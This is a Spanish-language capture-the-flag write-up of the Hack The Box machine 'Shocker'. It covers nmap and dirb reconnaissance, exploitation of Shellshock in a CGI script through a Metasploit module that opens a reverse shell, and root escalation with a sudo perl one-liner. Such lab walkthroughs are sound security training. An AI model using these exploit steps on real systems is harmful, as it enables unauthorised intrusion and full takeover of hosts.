Home

Published

- 3 min read

Shocker - HTB Writeup

img of Shocker - HTB Writeup

Information Gathering

Primero nuestro escaneo de nmap:

   > sudo nmap -sS -p- --open -n --min-rate 4000 -Pn 10.10.10.56 

[sudo] password for mil4ne: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 12:25 EDT
Nmap scan report for 10.10.10.56
Host is up (0.14s latency).
Not shown: 65465 closed tcp ports (reset), 68 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Escaneo de versiones:

   > nmap -p80,2222 -sCV 10.10.10.56

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 12:25 EDT
Nmap scan report for 10.10.10.56 (10.10.10.56)
Host is up (0.13s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Web - Port 80

alt text

Esta web no tiene botones ni nada interesante, asi que intentamos hacer fuzzing:

   > dirb http://10.10.10.56/  

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Aug 30 12:26:44 2024
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)                                                                                                                                                                                        
+ http://10.10.10.56/index.html (CODE:200|SIZE:137)

Lo unico que podemos encontrar es el cgi-bin

al ver la version de apache tenemos algo interesante que probar:

   whatweb http://10.10.10.56/  
http://10.10.10.56/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.56

Tambien Basandonos en el nombre de la maquina Shocker.

Shellshock Attack – Pentesting Web

Shellshock es una vulnerabilidad asociada al CVE-2014-6271 que salió el 24 de septiembre de 2014 y afecta a la shell de Linux Bash hasta la versión 4.3. Esta vulnerabilidad permite una ejecución arbitraria de comandos.

Bueno te dejo algunos recursos que te podrian servir:

En este Writeup lo explotaremos con Metasploit, pero igual es muy facil explotarlo de forma manual con Burpsuite o utilizando curl para modificar el User-Agent.

Explotation

Vas a usar este modulo:

   msfconsole
   msf6 > use multi/http/apache_mod_cgi_bash_env_exec 
   set targeturi /cgi-bin/user.sh
   set rhosts 10.10.10.56
   set lhost tun0
   run

Privilege Escalation

La terminal nos sale ‘vacia’ por asi decirlo (No esta Full TTY), asi que la arreglamos con este comando:

En este caso solo haremos el primer comando, ya que no es necesario hacer toda la tty.

   script /dev/null -c bash
   shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

TREMENDO, el binario de perl con permisos SUDO.

https://gtfobins.github.io/gtfobins/perl/#sudo

de una, encontramos como explotarlo:

   sudo perl -e 'exec "/bin/sh";'

Y listo ya tenemos una shell como root.